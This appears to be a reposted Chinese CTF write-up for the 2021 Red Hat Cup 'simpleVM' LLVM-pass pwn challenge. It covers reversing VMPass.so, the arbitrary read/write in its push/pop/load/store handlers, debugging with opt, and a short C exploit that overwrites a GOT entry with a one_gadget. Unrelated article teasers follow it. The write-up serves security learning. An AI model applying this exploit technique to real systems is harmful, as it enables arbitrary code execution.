CTF-PWN-LLVM-【红帽杯-2021 simpleVM】

文章目录

  • 参考
  • 检查
  • 逆向
  • 漏洞
  • 思路
  • 调试
  • 定位到PASS名
  • exp

参考

https://bbs.kanxue.com/thread-274259.htm#msg_header_h2_6

http://www.blackbird.wang/2022/08/30/LLVM-PASS%E7%B1%BBpwn%E9%A2%98%E6%80%BB%E7%BB%93/

检查

因为是用opt运行,加载动态库VMPASS.so的PASS类,再通过该PASS类对IR进行优化,所以pwn的是opt
在这里插入图片描述

逆向

搜索vtable定位到虚表,最下面的函数就是重写的虚函数runOnFunction
在这里插入图片描述
检查你优化的程序中的函数名,存在为o0o0o0o0就会调用sub_6AC0
在这里插入图片描述
以块为单位遍历该函数

在这里插入图片描述

然后调用sub_6B80处理块

__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *basic_block)
{// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]command[1] = __readfsqword(0x28u);command[0] = llvm::BasicBlock::begin(basic_block);while ( 1 ){end = llvm::BasicBlock::end(basic_block);if ( (llvm::operator!=(command, &end) & 1) == 0 )break;v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(command);if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )// 遇到call指令{v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);// 转换为call指令对应的指针if ( v35 ){name = (char *)malloc(0x20uLL);CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);v37 = (_QWORD *)llvm::Value::getName(CalledFunction);*(_QWORD *)name = *v37;*((_QWORD *)name + 1) = v37[1];*((_QWORD *)name + 2) = v37[2];*((_QWORD *)name + 3) = v37[3];if ( !strcmp(name, "pop") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){ArgOperand = llvm::CallBase::getArgOperand(v35, 0);v32 = 0LL;v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);if ( v31 ){ZExtValue = llvm::ConstantInt::getZExtValue(v31);if ( ZExtValue == 1 )v32 = off_20DFD0;if ( ZExtValue == 2 )v32 = off_20DFC0;}if ( v32 ){v3 = sp_point;*v32 = *(_QWORD *)*sp_point;*v3 = (char *)*v3 - 8;}}}else if ( !strcmp(name, "push") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){v29 = llvm::CallBase::getArgOperand(v35, 0);v28 = 0LL;v27 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v29);if ( v27 ){v26 = llvm::ConstantInt::getZExtValue(v27);if ( v26 == 1 )v28 = off_20DFD0;if ( v26 == 2 )v28 = off_20DFC0;}if ( v28 ){v4 = sp_point;*sp_point = (char *)*sp_point + 8;*(_QWORD *)*v4 = *v28;}}}else if ( !strcmp(name, "store") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){v25 = llvm::CallBase::getArgOperand(v35, 0);v24 = 0LL;v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);if ( v23 ){v22 = llvm::ConstantInt::getZExtValue(v23);if ( v22 == 1 )v24 = off_20DFD0;if ( v22 == 2 )v24 = off_20DFC0;}if ( v24 == off_20DFD0 ){**(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;}else if ( v24 == off_20DFC0 ){**(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;}}}else if ( !strcmp(name, "load") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){v21 = llvm::CallBase::getArgOperand(v35, 0);v20 = 0LL;v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);if ( v19 ){v18 = llvm::ConstantInt::getZExtValue(v19);if ( v18 == 1 )v20 = off_20DFD0;if ( v18 == 2 )v20 = off_20DFC0;}if ( v20 == off_20DFD0 )*(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0;if ( v20 == off_20DFC0 )*(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;}}else if ( !strcmp(name, "add") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 ){v17 = llvm::CallBase::getArgOperand(v35, 0);v16 = 0LL;v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);if ( v15 ){v14 = llvm::ConstantInt::getZExtValue(v15);if ( v14 == 1 )v16 = off_20DFD0;if ( v14 == 2 )v16 = off_20DFC0;}if ( v16 ){v13 = llvm::CallBase::getArgOperand(v35, 1u);v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);if ( v12 )*v16 += llvm::ConstantInt::getZExtValue(v12);}}}else if ( !strcmp(name, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 ){v11 = llvm::CallBase::getArgOperand(v35, 0);v10 = 0LL;v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11);if ( v9 ){v8 = llvm::ConstantInt::getZExtValue(v9);if ( v8 == 1 )v10 = off_20DFD0;if ( v8 == 2 )v10 = off_20DFC0;}if ( v10 ){v7 = llvm::CallBase::getArgOperand(v35, 1u);v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7);if ( v6 )*v10 -= llvm::ConstantInt::getZExtValue(v6);}}free(name);}}llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(command,0LL);}return 1LL;
}

漏洞

在这里插入图片描述
根据指定的寄存器,将指定的寄存器的值指向的内容赋值给另一个寄存器
在这里插入图片描述
根据指定的寄存器,将另一个寄存器赋值给指定的寄存器的值指向的内容

存在任意地址读写

思路

没开pie,通过任意地址读写修改修改free的got表为gadget,因为opt优化调用的函数最后会free
在这里插入图片描述
不太行,调用的不是pie中的free,使用其他函数在最后的free,
在这里插入图片描述
在这里插入图片描述
而如果最终到call free的指令,此时rbp为0,会出现段错误
在这里插入图片描述

这里参考winmt师傅的做法
在这里插入图片描述
选择这个
在这里插入图片描述
got表,发现两个got表,都试试吧

在这里插入图片描述
第二个失败,上面的那个成功

调试

clang-8 -emit-llvm -S exp.c -o exp.bc或者
clang-8 -emit-llvm -S exp.c -o exp.ll
opt-8 -load ./VMPass.so -VMPass ./exp.bc

调试opt然后跟进到so文件
在这里插入图片描述
opt并不会一开始就将so模块加载进来,会执行一些初始化函数才会加载so模块。
调试的时候可以把断点下载llvm::Pass::preparePassManager,程序执行到这里的时候就已经加载了LLVMHello.so文件(或者到main+11507),我们就可以根据偏移进一步将断点下在LLVMHello.so文件里面
查看vmmap,发现已经加载进来,然后可以更加偏移断在runOnFunction上
在这里插入图片描述
在这里插入图片描述

成功
在这里插入图片描述
发现寄存器一开始是零,所以add相当于直接赋值了

在这里插入图片描述
找到got表

在这里插入图片描述

定位到PASS名

_cxa_atexit引用定位(在start函数里)
在这里插入图片描述
在这里插入图片描述

exp

add第二个参数用64位
在这里插入图片描述


void add(int arg1,int arg2);
void load(int arg1);
void store(int arg1);void o0o0o0o0(){add(1,0x77e100);load(1); //将free的got表的内容复制给第二个寄存器add(2,0x4942e); //free的地址和onegadget的偏移add(1,0x870);store(1); //修改free的got表的内容}//0xe3b04 0xe3b01 0000000000006F8F

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/37239.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

开源模型应用落地-FastAPI-助力模型交互-WebSocket篇(四)

一、前言 使用 FastAPI 可以帮助我们更简单高效地部署 AI 交互业务。FastAPI 提供了快速构建 API 的能力,开发者可以轻松地定义模型需要的输入和输出格式,并编写好相应的业务逻辑。 FastAPI 的异步高性能架构,可以有效支持大量并发的预测请求,为用户提供流畅的交互体验。此外,F…

基于STM32的智能花园灌溉系统

目录 引言环境准备智能花园灌溉系统基础代码实现&#xff1a;实现智能花园灌溉系统 4.1 数据采集模块4.2 数据处理与分析4.3 控制系统实现4.4 用户界面与数据可视化应用场景&#xff1a;花园灌溉管理与优化问题解决方案与优化收尾与总结 1. 引言 智能花园灌溉系统通过使用ST…

普元EOS学习笔记-EOS8.3精简版安装

前言 普元EOS是优秀的高低开结合的企业应用软件开发框架。 普元&#xff1a;这是普元公司的名字&#xff0c;普元信息&#xff0c;上市公司哦&#xff0c;这里就不过多安利了。 EOS&#xff1a;普元公司的企业应用开发系统&#xff0c;开发语言是基于Java&#xff0c;技术框…

在 UBUNTU 22.04 上逐步构建 Postal SMTP 服务器

构建 Postal SMTP 服务器来发送批量电子邮件是电子邮件营销人员的不错选择。Postal 功能非常强大&#xff0c;并拥有大量开发人员的支持。它是一个用 JavaScript 和 Ruby 编写的开源邮件服务器脚本。它可用于构建内部 SMTP 服务器&#xff0c;就像 Mailgun、Sendgrid、Mailchim…

LangChain入门学习笔记(七)—— 使用检索提高生成内容质量

大模型训练使用的数据是开放的、广泛的&#xff0c;因此它显得更加的通用。然而在有些应用场景下&#xff0c;用户需要使用自己的数据使得大模型生成的内容更加贴切&#xff0c;也有时候用户的数据是敏感的&#xff0c;无法提供出来给大模型进行通用性的训练。RAG技术就是一种解…

LabVIEW项目外协时选择公司与个人兼职的比较

​在选择LabVIEW项目外协合作伙伴时&#xff0c;外协公司和个人兼职各有优劣。个人兼职成本较低且灵活&#xff0c;但在可靠性、技术覆盖面、资源和风险管理上存在不足。而外协公司拥有专业团队、丰富资源、完善的项目管理和风险控制&#xff0c;尽管成本较高&#xff0c;但能提…

基于单片机火灾自动报警系统设计

摘 要&#xff1a; 我国的火灾自动报警技术已经相对的较为成熟&#xff0c;随着信息技术的发展&#xff0c;网络化、信息化在火灾自动报警器上的应用也越来越多。无线通信的方式使得报警器本身可以方便的应用于大大小小的环境&#xff0c;例如工厂、社区和学校等等。通过对单片…

音频分离人声和伴奏可以实现吗?手机人声分离工具10款无偿分享!

随着科技的飞速发展&#xff0c;音频处理技术已经取得了显著的进步&#xff0c;其中音频分离人声和伴奏已成为现实。这一技术不仅为音乐制作人和音频工程师提供了便利&#xff0c;更为广大音乐爱好者提供了无限的创作可能性。本文将为大家分享10款手机人声分离工具&#xff0c;…

JVM原理(二):JVM之HotSpot虚拟机中对象的创建寻位与定位整体流程

1. 对象的创建 遇到new指令时 当Java虚拟机遇到一个字节码new指令时。 首先会去检查这个指令的参数是否能在常量池中定位到一个类的符号引用&#xff0c;并且检查这个符号引用代表的类是否被加载、解析和初始化过。 如果没有&#xff0c;那么必须执行类的加载过程(加载、检查…

npm安装依赖报错——npm ERR gyp verb cli的解决方法

1. 问题描述 1.1 npm安装依赖报错——npm ERR! gyp verb cli npm MARN deprecated axiosQ0.18.1: critical security vuLnerability fixed in v0.21.1. For more information, npm WARN deprecated svg001.3.2: This SVGO version is no Longer supported. upgrade to v2.x.x …

华为实训案例

案例下载 案例内包含空拓扑图、配置完整的拓扑、以及步骤脚本文档&#xff0c;可按需下载。 拓扑图 任务清单 &#xff08;一&#xff09;基础配置 根据附录1拓扑图、附录2地址规划表、附录3设备编号表&#xff0c;配置设备接口及主机名信息。 将所有终端超时时间设置为永不…

SOLIDWORKS卡顿反应慢怎么解决 慧德敏学

如果您的SOLIDWORKS软件运行缓慢或反应迟钝&#xff0c;可以尝试以下方法来提高性能和响应速度&#xff1a; 一、硬件检查与升级&#xff1a; 检查计算机硬件配置是否满足SOLIDWORKS官方推荐的要求&#xff0c;特别是CPU、内存和显卡。如果配置较低&#xff0c;考虑升级硬件以…

哨兵模式--哨兵节点的功能?

哨兵节点的主要功能有&#xff1a; 集群监控&#xff1a;监控 主、从节点的健康状况&#xff1b;自动切换主节点&#xff1a;当 Master 运行故障&#xff0c;哨兵启动自动故障恢复流程&#xff1a;从 slave 中选择一台作为新 master。通知&#xff1a;让 slave 执行 replicaof…

社交风潮塑造者:探索用户在Facebook的影响力

在当今数字化社会中&#xff0c;Facebook不仅是人们社交互动的主要平台&#xff0c;更是塑造社交风潮和文化趋势的重要力量。本文将从另一个角度深入探讨用户在Facebook上的影响力&#xff0c;探索其如何通过个人行为和互动&#xff0c;影响和改变社会的各个方面。 个人表达和内…

Cryptographic algorithms—(Green-Book)加密算法

Cryptographic algorithms—加密算法 9.2.3 加密算法9.2.3.1 概述9.2.3.2 哈希函数9.2.3.3 对称密钥算法9.2.3.3.1 概述9.2.3.3.2 加密和解密9.2.3.3.3 高级加密标准9.2.3.3.4 加密操作模式9.2.3.3.5 消息认证码9.2.3.3.6 密钥包装9.2.3.3.7 Galois/Counter Mode9.2.3.3.7.1 概…

Python中相关软件安装

1. python安装 1.下载地址 https://www.python.org/downloads/2.选择安装版本 1. Anaconda安装 安装地址 -- 清华大学镜像站点 https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/查看anaconda是否安装成功 2.conda安装好后&#xff0c;将镜像源修改为清华大学的镜像…

音频Balance源码总结

音频Balance源码总结 何为音频Balance&#xff1f; 顾名思义&#xff0c;Balance及平衡&#xff0c;平衡也就是涉及多方&#xff0c;音频左右甚至四通道&#xff0c;调节所有通道的音量比&#xff0c;使用户在空间内听到各个通道的音频大小不一&#xff0c;好似置身于真实环境…

vue 组件批量删除

element ui table表格中前面这个勾选框 对应 type"selection" 属性&#xff0c;绑定事件时selection-change,当你勾选全面的框时就会触发selection-change 对应的事件 绑定事件里面这样定义方法时&#xff0c;这个val 就是选中的时候那一行的数据&#xff0c;如下图…

【数据分享】《中国县城建设统计年鉴》2015-2022

而今天要免费分享的数据就是2015-2022年间出版的《中国县城建设统计年鉴》并以多格式提供免费下载。&#xff08;无需分享朋友圈即可获取&#xff09; 数据介绍 在中国快速城镇化的进程中&#xff0c;县城作为连接城市与乡村的重要节点&#xff0c;其建设与发展受到了广泛关注…

高性价比 ESP32 网络收音机:OLED 显示+编码器控制 (源码开源)

摘要: 本文将详细介绍如何使用 ESP32 开发板制作一个功能完备的网络收音机。我们将涵盖硬件选择、软件架构、网络连接、音频流解码、用户界面设计等方面&#xff0c;并提供完整的代码示例和详细的解释&#xff0c;帮助您轻松构建自己的网络收音机。 关键词: ESP32, 网络收音机…